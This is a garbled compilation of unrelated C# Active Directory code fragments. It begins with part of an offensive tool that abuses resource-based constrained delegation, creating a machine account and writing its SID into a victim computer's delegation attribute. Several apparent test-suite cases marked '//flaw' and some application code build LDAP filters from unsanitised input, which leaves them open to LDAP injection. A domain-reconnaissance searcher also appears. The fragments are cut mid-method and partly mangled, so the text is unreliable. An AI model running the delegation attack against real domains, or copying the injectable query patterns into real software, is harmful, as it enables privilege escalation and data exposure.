            } catch (System.Exception ex) {
                Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)");
                Console.WriteLine("[-] Exception: " + ex.Message);
                return;
            }
            // 获取新计算机对象的SID
            var new_request        = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
            var new_response       = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);
            SecurityIdentifier sid = null;

            foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)
            {
                try {
                    sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);
                    Console.Out.WriteLine("[+] " + new_MachineAccount + " SID : " + sid.Value);
                } catch {
                    Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting...");
                    return;
                }
            }
            //设置资源约束委派
            System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry("redteam.com");
            myldapConnection.Path = victimcomputer_ldap_path;
            myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
            System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
            //通过ldap找计算机
            search.Filter = "(CN=" + ")";
            string[] requiredProperties = new string[] { "samaccountname" };
            foreach (String property in requiredProperties)
            {
                search.PropertiesToLoad.Add(property);
            }
            System.DirectoryServices.SearchResult result = null;
            try {
                result = search.FindOne();
            } catch (System.Exception ex) {
                Console.WriteLine(ex.Message + "Exiting...");
                return;
            }
            if (result != null)
            {
                System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry();
                String sec_descriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")";
                System.Security.AccessControl.RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);
                byte[] descriptor_buffer = new byte[sd.BinaryLength];
                sd.GetBinaryForm(descriptor_buffer, 0);
                // 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中
                entryToUpdate.Properties["msds-allowedtoactonbehalfofotheridentity"].Value = descriptor_buffer;
                try {
                    entryToUpdate.CommitChanges();//提交更改
                    Console.WriteLine("[+] Exploit successfully!");
                } catch (System.Exception ex) {
                    Console.WriteLine(ex.Message);
                    Console.WriteLine("[!] \nFailed...");
                    return;
                }
            }
        }
        public static void Main(string[] args)
        {
            string tainted_2 = null;
            string tainted_3 = null;
            string tainted_1 = null;


            tainted_1 = args[1];

            tainted_3 = tainted_1;

            string[] arr_1 = new string[4];     // declaring array
            //Storing value in array element
            arr_1[0] = null;
            arr_1[1] = null;
            arr_1[2] = null;
            arr_1[3] = tainted_1;
            foreach (string val_1 in arr_1)
            {
                if (val_1 != null)
                {
                    tainted_2 = val_1;

                    string pattern = @"/^[0-9]*$/";
                    Regex  r       = new Regex(pattern);
                    Match  m       = r.Match(tainted_2);
                    if (!m.Success)
                    {
                        tainted_3 = "";
                    }
                    else
                    {
                        tainted_3 = tainted_2;
                    }
                }
            }

            //flaw

            string query = "(&(objectClass=person)(sn=" + tainted_3 + "))";


            string strConnect = "LDAP://my.site.com/o=site,c=com";

            using (System.DirectoryServices.DirectoryEntry CN_Main = new System.DirectoryServices.DirectoryEntry(strConnect)){
                string strResult = "";
                System.DirectoryServices.DirectorySearcher DirSearcher = new System.DirectoryServices.DirectorySearcher(CN_Main, query);
                System.DirectoryServices.DirectoryEntry    CN_Result;
                CN_Main.AuthenticationType = AuthenticationTypes.None;
                foreach (System.DirectoryServices.SearchResult ResultSearch in DirSearcher.FindAll())
                {
                    if (ResultSearch != null)
                    {
                        CN_Result = ResultSearch.GetDirectoryEntry();
                        if ((string)CN_Result.Properties["userclass"][0] == "noname")
                        {
                            strResult = strResult + "Name : " + CN_Result.InvokeGet("sn");
                        }
                    }
                }
                Console.WriteLine(strResult);
            }
        }
    private void InitializeComponent()
    {
        this.directorySearcher1 = new System.DirectoryServices.DirectorySearcher();
        this.button1            = new System.Windows.Forms.Button();
        this.button2            = new System.Windows.Forms.Button();
        this.button3            = new System.Windows.Forms.Button();
        this.pictureBox1        = new System.Windows.Forms.PictureBox();
        this.SuspendLayout();
        //
        // directorySearcher1
        //
        this.directorySearcher1.ClientTimeout       = System.TimeSpan.Parse("-00:00:01");
        this.directorySearcher1.ServerPageTimeLimit = System.TimeSpan.Parse("-00:00:01");
        this.directorySearcher1.ServerTimeLimit     = System.TimeSpan.Parse("-00:00:01");
        //
        // button1
        //
        this.button1.Location = new System.Drawing.Point(10, 522);
        this.button1.Name     = "button1";
        this.button1.Size     = new System.Drawing.Size(200, 200);
        this.button1.TabIndex = 3;
        this.button1.Text     = "button1";
        this.button1.UseVisualStyleBackColor = true;
        this.button1.Click += new System.EventHandler(this.button1_Click);

        this.pictureBox1.Location = new System.Drawing.Point(10, 10);
        this.pictureBox1.Name     = "pictureBox1";
        const string PfadBild = @"./../../Kaffeefleck.jpg";
        StreamReader SR       = new StreamReader(PfadBild);
        Bitmap       Bild     = new Bitmap(SR.BaseStream);

        SR.Close();

        int minX = Bild.Width, maxX = 0, minY = Bild.Height, maxY = 0;

        for (int x = 0; x < Bild.Width; x++)
        {
            for (int y = 0; y < Bild.Height; y++)
            {
                if ((Bild.GetPixel(x, y).ToArgb() * 100 / -16777216) >= 2)
                {
                    //Färbe Rot ein, wenn nicht weiß
                    Bild.SetPixel(x, y, Color.FromArgb(Bild.GetPixel(x, y).R, 40, 40));
                    if (x < minX)
                    {
                        minX = x;
                    }
                    if (x > maxX)
                    {
                        maxX = x;
                    }
                    if (y < minY)
                    {
                        minY = y;
                    }
                    if (y > maxY)
                    {
                        maxY = y;
                    }
                }
            }
        }

        /* TODO: Male Kasten um Fleck */
        for (int x = minX; x < maxX; x++)
        {
            for (int y = (minY - 1); y < minY; y++)
            {
                Bild.SetPixel(x, y, Color.FromArgb(40, 40, 40));
            }
        }

        for (int x = minX; x < maxX; x++)
        {
            for (int y = maxY; y < (maxY + 1); y++)
            {
                Bild.SetPixel(x, y, Color.FromArgb(40, 40, 40));
            }
        }

        for (int x = (minX - 1); x < minX; x++)
        {
            for (int y = minY; y < maxY; y++)
            {
                Bild.SetPixel(x, y, Color.FromArgb(40, 40, 40));
            }
        }

        for (int x = maxX; x < (maxX + 1); x++)
        {
            for (int y = minY; y < maxY; y++)
            {
                Bild.SetPixel(x, y, Color.FromArgb(40, 40, 40));
            }
        }


        this.pictureBox1.Size  = new System.Drawing.Size(Bild.Size.Width, Bild.Size.Height);
        this.pictureBox1.Image = Bild;

        //
        // Form1
        //
        this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
        this.AutoScaleMode       = System.Windows.Forms.AutoScaleMode.Font;
        this.ClientSize          = new System.Drawing.Size(711, 600);
        //this.Controls.Add(this.button1);
        this.Controls.Add(this.pictureBox1);
        this.Name  = "Form1";
        this.Text  = "Form1";
        this.Load += new System.EventHandler(this.Form1_Load);
        this.ResumeLayout(false);
    }
 internal SearchResultCollection(DirectoryEntry root, IntPtr searchHandle, string[] propertiesLoaded, DirectorySearcher srch)
 {
     _handle          = searchHandle;
     PropertiesLoaded = propertiesLoaded;
     Filter           = srch.Filter;
     _rootEntry       = root;
     this.srch        = srch;
 }
Exemple #34
0
        public ADCache(string path)
        {
            try
            {
                DateTime start      = DateTime.Now;
                string[] properties = new string[] { "samAccountName", "objectClass", "canonicalName", "objectSID", "distinguishedName" };
                string   filter     = "(|(objectClass=user)(objectClass=group))";

                Console.WriteLine("Connecting to {0}...", path);
                DirectoryEntry directoryEntry;

                try
                {
                    directoryEntry = new DirectoryEntry(path);
                    directoryEntry.RefreshCache(properties);
                }
                catch
                {
                    string username = "";
                    string password = "";

                    ConsoleColor foregroundColor = Console.ForegroundColor;
                    ConsoleColor backgroundColor = Console.BackgroundColor;
                    Console.ForegroundColor = ConsoleColor.Yellow;
                    Console.WriteLine("Current user context is not allowed to read from AD.");
                    Console.WriteLine("Please provide user credentials entitled to read from {0}.", path);
                    Console.ForegroundColor = foregroundColor;
                    Console.Write("Enter username: "******"Enter password: "******"Reading all ad user and group objects...");
                DirectorySearcher ds = new System.DirectoryServices.DirectorySearcher(directoryEntry, filter, properties);
                ds.SearchScope   = SearchScope.Subtree;
                ds.CacheResults  = true;
                ds.ClientTimeout = TimeSpan.FromMinutes(120);
                ds.PageSize      = 100;

                SearchResultCollection entries = ds.FindAll();
                foreach (SearchResult entry in entries)
                {
                    System.Security.Principal.SecurityIdentifier binSID = new System.Security.Principal.SecurityIdentifier((byte[])entry.Properties["objectSID"][0], 0);
                    string sid            = binSID.ToString();
                    string samAccountName = entry.Properties["samAccountName"][0].ToString();
                    //Console.WriteLine("{0} - {1}", sid, samAccountName);
                    Console.Write("\r{0} objects read..", cache.Count);
                    if (!cache.ContainsKey(sid))
                    {
                        cache.Add(sid, new Properties(sid, entry));
                    }
                }
                Console.WriteLine("\r{0} objects found. Loading AD took actually {1}", cache.Count, (DateTime.Now - start).ToString());
            }
            catch (Exception e)
            {
                Console.WriteLine("Reading AD failed: {0}", e.Message);
                throw new Exception("Reading AD failed.");
            }
        }
        public static void Main(string[] args)
        {
            string tainted_2 = null;
            string tainted_3 = null;
            string tainted_1 = null;


            Process process = new Process();

            process.StartInfo.FileName               = "/bin/bash";
            process.StartInfo.Arguments              = "-c 'cat /tmp/tainted.txt'";
            process.StartInfo.UseShellExecute        = false;
            process.StartInfo.RedirectStandardOutput = true;
            process.Start();

            using (StreamReader reader = process.StandardOutput) {
                tainted_1 = reader.ReadToEnd();
                process.WaitForExit();
                process.Close();
            }

            tainted_3 = tainted_1;

            string[] arr_1 = new string[4];     // declaring array
            //Storing value in array element
            arr_1[0] = null;
            arr_1[1] = null;
            arr_1[2] = null;
            arr_1[3] = tainted_1;
            foreach (string val_1 in arr_1)
            {
                if (val_1 != null)
                {
                    tainted_2 = val_1;

                    StringBuilder text = new StringBuilder(tainted_2);
                    text.Replace("&", "&amp;");
                    text.Replace("'", "&apos;");
                    text.Replace(@"""", "&quot;");
                    text.Replace("<", "&lt;");
                    text.Replace(">", "&gt;");
                    tainted_3 = text.ToString();
                }
            }

            //flaw

            string query = "(&(objectClass=person)(sn=" + tainted_3 + "))";


            string strConnect = "LDAP://my.site.com/o=site,c=com";

            using (System.DirectoryServices.DirectoryEntry CN_Main = new System.DirectoryServices.DirectoryEntry(strConnect)){
                string strResult = "";
                System.DirectoryServices.DirectorySearcher DirSearcher = new System.DirectoryServices.DirectorySearcher(CN_Main, query);
                System.DirectoryServices.DirectoryEntry    CN_Result;
                CN_Main.AuthenticationType = AuthenticationTypes.None;
                foreach (System.DirectoryServices.SearchResult ResultSearch in DirSearcher.FindAll())
                {
                    if (ResultSearch != null)
                    {
                        CN_Result = ResultSearch.GetDirectoryEntry();
                        if ((string)CN_Result.Properties["userclass"][0] == "noname")
                        {
                            strResult = strResult + "Name : " + CN_Result.InvokeGet("sn");
                        }
                    }
                }
                Console.WriteLine(strResult);
            }
        }
        private static void LoadFromActiveDirectory()
        {
            string domainName = "LDAP://ou=osl,dc=win,dc=lottery,dc=state,dc=or,dc=us";

            AD.DirectoryEntry    dirEntry = new AD.DirectoryEntry();
            AD.DirectorySearcher searcher;
            dirEntry.Path = domainName;
            dirEntry.AuthenticationType = AD.AuthenticationTypes.Secure;
            searcher             = new AD.DirectorySearcher();
            searcher.SearchRoot  = dirEntry;
            searcher.SearchScope = AD.SearchScope.Subtree;
            //searcher.Filter = "(&(objectCategory=person)(sAMAccountName=*))";
            searcher.Filter = "(&(objectCategory=person))";
            AD.SearchResultCollection results = searcher.FindAll();
            foreach (AD.SearchResult sr in results)
            {
                string adName       = "";
                string adDepartment = "";
                string employeeId   = "";
                string emailaddr    = "";
                AD.ResultPropertyValueCollection departments = sr.Properties["department"];
                if (departments != null && departments.Count > 0)
                {
                    adDepartment = departments[0].ToString();
                }
                AD.ResultPropertyValueCollection employeeIds = sr.Properties["employeeid"];
                if (employeeIds != null && employeeIds.Count > 0)
                {
                    employeeId = (string)employeeIds[0];
                }
                AD.ResultPropertyValueCollection names = sr.Properties["Name"];
                if (names != null && names.Count > 0)
                {
                    adName = (string)names[0];
                }
                if (!string.IsNullOrEmpty(adName) && !string.IsNullOrEmpty(adDepartment))
                // Some non-security lottery staff do NOT have employee ID in Active Directory!
                // ALL OSP staff do NOT have an employee ID.
                //          (
                //          !string.IsNullOrEmpty(employeeId) || (adDepartment.ToLower() == "security")
                //          )
                //         )
                {
                    if (!adName.ToLower().Contains("-adm"))
                    {
                        AD.ResultPropertyValueCollection emails = sr.Properties["mail"];
                        if (emails != null && emails.Count > 0)
                        {
                            emailaddr = (string)emails[0];
                        }
                        if (!string.IsNullOrEmpty(adName))
                        {
                            if (adDepartment.ToLower() == "information technology" || adDepartment.StartsWith("IT"))
                            {
                                _ITPersonNames.Add(adName);
                                if (!string.IsNullOrEmpty(emailaddr))
                                {
                                    _ITEmailAddresses.Add(emailaddr);
                                }
                            }
                        }
                        if (!string.IsNullOrEmpty(emailaddr))
                        {
                            _AllEmailAddresses.Add(emailaddr);
                        }
                    }
                }
            }
        }
    /// <summary>
    /// To bind active directory records in user details grid
    /// </summary>
    public void BindUser()
    {
        DataTable  DtBindUser    = new DataTable();
        DataColumn Dtmail        = new DataColumn("mail");
        DataColumn Dtfname       = new DataColumn("fname");
        DataColumn Dtlname       = new DataColumn("lname");
        DataColumn DtdisplayName = new DataColumn("displayName");

        DtBindUser.Columns.Add(Dtmail);
        DtBindUser.Columns.Add(Dtfname);
        DtBindUser.Columns.Add(Dtlname);
        DtBindUser.Columns.Add(DtdisplayName);
        DataRow Druser;

        // Added connection string for active directory user
        string            connection = ConfigurationManager.ConnectionStrings["ADConnection"].ToString();
        DirectorySearcher DsSearch   = new DirectorySearcher(connection);

        // declaired domain from which you want to fetch active directory users
        DirectoryEntry    UserDomain = new DirectoryEntry("LDAP://DC=kpmg,DC=aptaracorp,DC=com");
        DirectorySearcher Usersearch = new DirectorySearcher(connection);

        DsSearch.SearchRoot  = UserDomain;
        DsSearch.SearchScope = SearchScope.Subtree;
        SearchResultCollection UserResult;

        //Applied Filter On User For Specific Fname and Lname
        Usersearch.Filter = "(&(objectClass=user)(sn=" + txtLastName.Text + "*)(givenName=" + txtFName.Text + "*))";
        UserResult        = Usersearch.FindAll();
        for (int i = 0; i < UserResult.Count; i++)
        {
            string            AccounName = UserResult[i].Properties["samaccountname"][0].ToString();
            DirectorySearcher DrSearcher = new System.DirectoryServices.DirectorySearcher("(samaccountname=" + AccounName + ")");
            SearchResult      SrchRes    = DrSearcher.FindOne();
            DirectoryEntry    DrEntry    = SrchRes.GetDirectoryEntry();
            try
            {
                if (DrEntry.Properties["givenName"][0].ToString() != "")
                {
                    string FirstName   = DrEntry.Properties["givenName"][0].ToString();
                    string LastName    = DrEntry.Properties["sn"][0].ToString();
                    string UserEmail   = DrEntry.Properties["mail"][0].ToString();
                    string UserDisName = DrEntry.Properties["displayName"][0].ToString();
                    Druser                = DtBindUser.NewRow();
                    Druser["mail"]        = UserEmail.ToString();
                    Druser["fname"]       = FirstName.ToString();
                    Druser["lname"]       = LastName.ToString();
                    Druser["displayName"] = UserDisName.ToString();
                    DtBindUser.Rows.Add(Druser);
                }
            }
            catch
            {
                ////throw;
            }
        }
        if (DtBindUser.Rows.Count > 0)
        {
            grdUserDetails.DataSource = DtBindUser;
            grdUserDetails.DataBind();
        }
    }
Exemple #38
0
        public string validarUsuario(string usuario, string clave, string dominio)
        {
            string         rpta   = "";
            DirectoryEntry domain = new DirectoryEntry(dominio);

            //DirectoryEntry domain = new DirectoryEntry("LDAP://" + dominio);

            using (DirectorySearcher Searcher = new DirectorySearcher(dominio))
            {
                //Searcher.Filter = "(&(objectCategory=user)(ANR=" + usuario + " * ))"; // busca todas las cuentas que se parezcan
                Searcher.Filter      = "(SAMAccountName=" + usuario + ")";                     // "(SAMAccountName=" & usuario & ")"; // filtra por usuario especifico
                Searcher.SearchScope = SearchScope.Subtree;                                    // Start at the top and keep drilling down

                Searcher.PropertiesToLoad.Add("sAMAccountName");                               // Load User ID
                Searcher.PropertiesToLoad.Add("displayName");                                  // Load Display Name
                Searcher.PropertiesToLoad.Add("givenName");                                    // Load Users first name
                Searcher.PropertiesToLoad.Add("sn");                                           // Load Users last name
                Searcher.PropertiesToLoad.Add("distinguishedName");                            // Users Distinguished name

                Searcher.PropertiesToLoad.Add("proxyAddresses");                               // correo del usuario
                Searcher.PropertiesToLoad.Add("department");                                   // area de trabajo
                Searcher.PropertiesToLoad.Add("title");                                        // rol del usuario
                Searcher.PropertiesToLoad.Add("userAccountControl");                           // Users Distinguished name
                Searcher.Sort.PropertyName = "sAMAccountName";                                 // Sort by user ID
                Searcher.Sort.Direction    = System.DirectoryServices.SortDirection.Ascending; // A-Zt)

                using (var users = Searcher.FindAll())                                         // Users contains our searh results
                {
                    if (users.Count > 0)
                    {
                        foreach (SearchResult User in users) // goes throug each user in the search resultsg
                        {
                            //Ambito._estCuentaUsuario = Convert.ToInt32(User.Properties["userAccountControl"][0]);
                            //int flagExists = Ambito._estCuentaUsuario & 0x2;
                            //if (flagExists > 0)
                            //{
                            //    rpta = "La cuenta de usuario se encuentra deshabilitada";
                            //}

                            System.DirectoryServices.DirectoryEntry    Entry       = new System.DirectoryServices.DirectoryEntry("LDAP://" + dominio, usuario, clave);
                            System.DirectoryServices.DirectorySearcher valSearcher = new System.DirectoryServices.DirectorySearcher(Entry);
                            valSearcher.SearchScope = System.DirectoryServices.SearchScope.OneLevel;

                            try
                            {
                                System.DirectoryServices.SearchResult Results = valSearcher.FindOne();
                            }
                            catch (Exception ex)
                            {
                                rpta = ex.Message;
                                return(rpta);
                            }

                            //if (User.Properties.Contains("displayName"))
                            //{
                            //    Ambito._NombreUsuario = System.Convert.ToString(User.Properties["displayName"][0]);
                            //}

                            //if (User.Properties.Contains("title"))
                            //{
                            //    Ambito._rolUsuario = System.Convert.ToString(User.Properties["title"][0]);
                            //}

                            //if (User.Properties.Contains("title"))
                            //{
                            //    Ambito._dptoUsuario = System.Convert.ToString(User.Properties["title"][0]);
                            //}

                            //if (User.Properties.Contains("proxyAddresses"))
                            //{
                            //    Ambito._correoUsuario = System.Convert.ToString(User.Properties["proxyAddresses"][0]);
                            //}

                            //if (User.Properties.Contains("sAMAccountName"))
                            //{
                            //    Ambito.Usuario = System.Convert.ToString(User.Properties["sAMAccountName"][0]).ToUpper();
                            //}



                            rpta = "OK";
                        }
                    }
                    else
                    {
                        rpta = "ER";
                    }
                }
            }
            return(rpta);
        }
Exemple #39
0
        public static void Main(string[] args)
        {
            string tainted_0 = null;
            string tainted_1 = null;


            tainted_0 = Console.ReadLine();

            tainted_1 = tainted_0;

            StringBuilder escape = new StringBuilder();

            for (int i = 0; i < tainted_0.Length; ++i)
            {
                char current = tainted_0[i];
                switch (current)
                {
                case '\\':
                    escape.Append(@"\5c");
                    break;

                case '*':
                    escape.Append(@"\2a");
                    break;

                case '(':
                    escape.Append(@"\28");
                    break;

                case ')':
                    escape.Append(@"\29");
                    break;

                case '\u0000':
                    escape.Append(@"\00");
                    break;

                case '/':
                    escape.Append(@"\2f");
                    break;

                default:
                    escape.Append(current);
                    break;
                }
            }
            tainted_1 = escape.ToString();



            string query = "(&(objectClass=person)(sn=" + tainted_1 + "))";


            string strConnect = "LDAP://my.site.com/o=site,c=com";

            using (System.DirectoryServices.DirectoryEntry CN_Main = new System.DirectoryServices.DirectoryEntry(strConnect)){
                string strResult = "";
                System.DirectoryServices.DirectorySearcher DirSearcher = new System.DirectoryServices.DirectorySearcher(CN_Main, query);
                System.DirectoryServices.DirectoryEntry    CN_Result;
                CN_Main.AuthenticationType = AuthenticationTypes.None;
                foreach (System.DirectoryServices.SearchResult ResultSearch in DirSearcher.FindAll())
                {
                    if (ResultSearch != null)
                    {
                        CN_Result = ResultSearch.GetDirectoryEntry();
                        if ((string)CN_Result.Properties["userclass"][0] == "noname")
                        {
                            strResult = strResult + "Name : " + CN_Result.InvokeGet("sn");
                        }
                    }
                }
                Console.WriteLine(strResult);
            }
        }
Exemple #40
0
        public static void Main(string[] args)
        {
            string tainted_2 = null;
            string tainted_3 = null;


            Process process = new Process();

            process.StartInfo.FileName               = "/bin/bash";
            process.StartInfo.Arguments              = "-c 'cat /tmp/tainted.txt'";
            process.StartInfo.UseShellExecute        = false;
            process.StartInfo.RedirectStandardOutput = true;
            process.Start();

            using (StreamReader reader = process.StandardOutput) {
                tainted_2 = reader.ReadToEnd();
                process.WaitForExit();
                process.Close();
            }

            tainted_3 = tainted_2;

            if ((Math.Pow(4, 2) <= 42))
            {
                {}
            }
            else
            {
                string pattern = @"/^[0-9]*$/";
                Regex  r       = new Regex(pattern);
                Match  m       = r.Match(tainted_2);
                if (!m.Success)
                {
                    tainted_3 = "";
                }
                else
                {
                    tainted_3 = tainted_2;
                }
            }

            //flaw

            string query = "(&(objectClass=person)(sn=" + tainted_3 + "))";


            string strConnect = "LDAP://my.site.com/o=site,c=com";

            using (System.DirectoryServices.DirectoryEntry CN_Main = new System.DirectoryServices.DirectoryEntry(strConnect)){
                string strResult = "";
                System.DirectoryServices.DirectorySearcher DirSearcher = new System.DirectoryServices.DirectorySearcher(CN_Main, query);
                System.DirectoryServices.DirectoryEntry    CN_Result;
                CN_Main.AuthenticationType = AuthenticationTypes.None;
                foreach (System.DirectoryServices.SearchResult ResultSearch in DirSearcher.FindAll())
                {
                    if (ResultSearch != null)
                    {
                        CN_Result = ResultSearch.GetDirectoryEntry();
                        if ((string)CN_Result.Properties["userclass"][0] == "noname")
                        {
                            strResult = strResult + "Name : " + CN_Result.InvokeGet("sn");
                        }
                    }
                }
                Console.WriteLine(strResult);
            }
        }
        public static void Main(string[] args)
        {
            string tainted_2 = null;
            string tainted_3 = null;


            Process process = new Process();

            process.StartInfo.FileName               = "/bin/bash";
            process.StartInfo.Arguments              = "-c 'cat /tmp/tainted.txt'";
            process.StartInfo.UseShellExecute        = false;
            process.StartInfo.RedirectStandardOutput = true;
            process.Start();

            using (StreamReader reader = process.StandardOutput) {
                tainted_2 = reader.ReadToEnd();
                process.WaitForExit();
                process.Close();
            }

            tainted_3 = tainted_2;

            if ((1 == 1))
            {
                StringBuilder escape = new StringBuilder();
                for (int i = 0; i < tainted_2.Length; ++i)
                {
                    char current = tainted_2[i];
                    switch (current)
                    {
                    case '\\':
                        escape.Append(@"\5c");
                        break;

                    case '*':
                        escape.Append(@"\2a");
                        break;

                    case '(':
                        escape.Append(@"\28");
                        break;

                    case ')':
                        escape.Append(@"\29");
                        break;

                    case '\u0000':
                        escape.Append(@"\00");
                        break;

                    case '/':
                        escape.Append(@"\2f");
                        break;

                    default:
                        escape.Append(current);
                        break;
                    }
                }
                tainted_3 = escape.ToString();
            }
            else if (!(1 == 1))
            {
                {}
            }
            else
            {
                {}
            }


            string query = "(&(objectClass=person)(sn=" + tainted_3 + "))";


            string strConnect = "LDAP://my.site.com/o=site,c=com";

            using (System.DirectoryServices.DirectoryEntry CN_Main = new System.DirectoryServices.DirectoryEntry(strConnect)){
                string strResult = "";
                System.DirectoryServices.DirectorySearcher DirSearcher = new System.DirectoryServices.DirectorySearcher(CN_Main, query);
                System.DirectoryServices.DirectoryEntry    CN_Result;
                CN_Main.AuthenticationType = AuthenticationTypes.None;
                foreach (System.DirectoryServices.SearchResult ResultSearch in DirSearcher.FindAll())
                {
                    if (ResultSearch != null)
                    {
                        CN_Result = ResultSearch.GetDirectoryEntry();
                        if ((string)CN_Result.Properties["userclass"][0] == "noname")
                        {
                            strResult = strResult + "Name : " + CN_Result.InvokeGet("sn");
                        }
                    }
                }
                Console.WriteLine(strResult);
            }
        }
        /* connect ldap server & create an searcher object */
        public static System.DirectoryServices.DirectorySearcher Get_DomainSearcher(Args_Get_DomainSearcher args = null)
        {
            if (args == null)
            {
                args = new Args_Get_DomainSearcher();
            }

            string TargetDomain = null;
            string BindServer   = null;

            var userDnsDomain = Environment.GetEnvironmentVariable("USERDNSDOMAIN");

            if (args.Domain.IsNotNullOrEmpty())
            {
                TargetDomain = args.Domain;

                if (userDnsDomain != null && userDnsDomain.Trim() != "")
                {
                    // see if we can grab the user DNS logon domain from environment variables
                    var UserDomain  = userDnsDomain;
                    var logonServer = Environment.GetEnvironmentVariable("LOGONSERVER");
                    if (logonServer != null && logonServer.Trim() != "" && UserDomain.IsNotNullOrEmpty())
                    {
                        BindServer = $"{logonServer.Replace(@"\\", "")}.{UserDomain}";
                    }
                }
            }
            else if (args.Credential != null)
            {
                // if not -Domain is specified, but -Credential is, try to retrieve the current domain name with Get-Domain
                var DomainObject = GetDomain.Get_Domain(new Args_Get_Domain {
                    Credential = args.Credential
                });
                BindServer   = DomainObject.PdcRoleOwner.Name;
                TargetDomain = DomainObject.Name;
            }
            else if (userDnsDomain != null && userDnsDomain.Trim() != "")
            {
                // see if we can grab the user DNS logon domain from environment variables
                TargetDomain = userDnsDomain;
                var logonServer = Environment.GetEnvironmentVariable("LOGONSERVER");
                if (logonServer != null && logonServer.Trim() != "" && TargetDomain.IsNotNullOrEmpty())
                {
                    BindServer = $"{logonServer.Replace(@"\\", "")}.{TargetDomain}";
                }
            }
            else
            {
                // otherwise, resort to Get-Domain to retrieve the current domain object
                var DomainObject = GetDomain.Get_Domain();
                if (DomainObject == null)
                {
                    System.Environment.Exit(0);
                }
                BindServer   = DomainObject.PdcRoleOwner.Name;
                TargetDomain = DomainObject.Name;
            }

            if (args.Server.IsNotNullOrEmpty())
            {
                // if there's not a specified server to bind to, try to pull a logon server from ENV variables
                BindServer = args.Server;
            }

            var SearchString = "LDAP://";

            if (BindServer != null && BindServer.Trim() != "")
            {
                SearchString += BindServer;
                if (TargetDomain.IsNotNullOrEmpty())
                {
                    SearchString += '/';
                }
            }

            if (args.SearchBasePrefix.IsNotNullOrEmpty())
            {
                SearchString += args.SearchBasePrefix + @",";
            }

            var DN = string.Empty;

            if (args.SearchBase.IsNotNullOrEmpty())
            {
                if (new Regex(@"^GC://").Match(args.SearchBase).Success)
                {
                    // if we're searching the global catalog, get the path in the right format
                    DN           = args.SearchBase.ToUpper().Trim('/');
                    SearchString = string.Empty;
                }
                else
                {
                    if (new Regex(@"^LDAP://").Match(args.SearchBase).Success)
                    {
                        if (new Regex(@"LDAP://.+/.+").Match(args.SearchBase).Success)
                        {
                            SearchString = string.Empty;
                            DN           = args.SearchBase;
                        }
                        else
                        {
                            DN = args.SearchBase.Substring(7);
                        }
                    }
                    else
                    {
                        DN = args.SearchBase;
                    }
                }
            }
            else
            {
                // transform the target domain name into a distinguishedName if an ADS search base is not specified
                if (TargetDomain != null && TargetDomain.Trim() != "")
                {
                    DN = $"DC={TargetDomain.Replace(".", ",DC=")}";
                }
            }

            SearchString += DN;
            Logger.Write_Verbose($@"[Get-DomainSearcher] search base: {SearchString}");

            System.DirectoryServices.DirectorySearcher Searcher = null;
            if (args.Credential != null)
            {
                Logger.Write_Verbose(@"[Get-DomainSearcher] Using alternate credentials for LDAP connection");
                // bind to the inital search object using alternate credentials
                var DomainObject = new System.DirectoryServices.DirectoryEntry(SearchString, args.Credential.UserName, args.Credential.Password);
                Searcher = new System.DirectoryServices.DirectorySearcher(DomainObject);
            }
            else
            {
                // bind to the inital object using the current credentials
                //Searcher = new System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
                var DomainObject = new System.DirectoryServices.DirectoryEntry(SearchString);
                Searcher = new System.DirectoryServices.DirectorySearcher(DomainObject);
            }

            Searcher.PageSize        = args.ResultPageSize;
            Searcher.SearchScope     = args.SearchScope;
            Searcher.CacheResults    = false;
            Searcher.ReferralChasing = System.DirectoryServices.ReferralChasingOption.All;

            if (args.ServerTimeLimit != null)
            {
                Searcher.ServerTimeLimit = new TimeSpan(0, 0, args.ServerTimeLimit.Value);
            }

            if (args.Tombstone)
            {
                Searcher.Tombstone = true;
            }

            if (args.LDAPFilter.IsNotNullOrWhiteSpace())
            {
                Searcher.Filter = args.LDAPFilter;
            }

            if (args.SecurityMasks != null)
            {
                Searcher.SecurityMasks = args.SecurityMasks.Value;
            }

            if (args.Properties != null)
            {
                // handle an array of properties to load w/ the possibility of comma-separated strings
                var PropertiesToLoad = new List <string>();
                foreach (var item in args.Properties)
                {
                    PropertiesToLoad.AddRange(item.Split(','));
                }

                Searcher.PropertiesToLoad.AddRange(PropertiesToLoad.ToArray());
            }

            return(Searcher);
        }
        public static void Main(string[] args)
        {
            string tainted_2 = null;
            string tainted_3 = null;


            Process process = new Process();

            process.StartInfo.FileName               = "/bin/bash";
            process.StartInfo.Arguments              = "-c 'cat /tmp/tainted.txt'";
            process.StartInfo.UseShellExecute        = false;
            process.StartInfo.RedirectStandardOutput = true;
            process.Start();

            using (StreamReader reader = process.StandardOutput) {
                tainted_2 = reader.ReadToEnd();
                process.WaitForExit();
                process.Close();
            }

            tainted_3 = tainted_2;

            if ((Math.Sqrt(42) >= 42))
            {
                string regexSearch = new string(Path.GetInvalidFileNameChars()) + new string(Path.GetInvalidPathChars()) + ";";
                Regex  r           = new Regex(string.Format("[{0}]", Regex.Escape(regexSearch)));
                tainted_3 = r.Replace(tainted_2, "");
            }
            else if (!(Math.Sqrt(42) >= 42))
            {
                {}
            }
            else
            {
                {}
            }

            //flaw

            string query = "(&(objectClass=person)(sn=" + tainted_3 + "))";


            string strConnect = "LDAP://my.site.com/o=site,c=com";

            using (System.DirectoryServices.DirectoryEntry CN_Main = new System.DirectoryServices.DirectoryEntry(strConnect)){
                string strResult = "";
                System.DirectoryServices.DirectorySearcher DirSearcher = new System.DirectoryServices.DirectorySearcher(CN_Main, query);
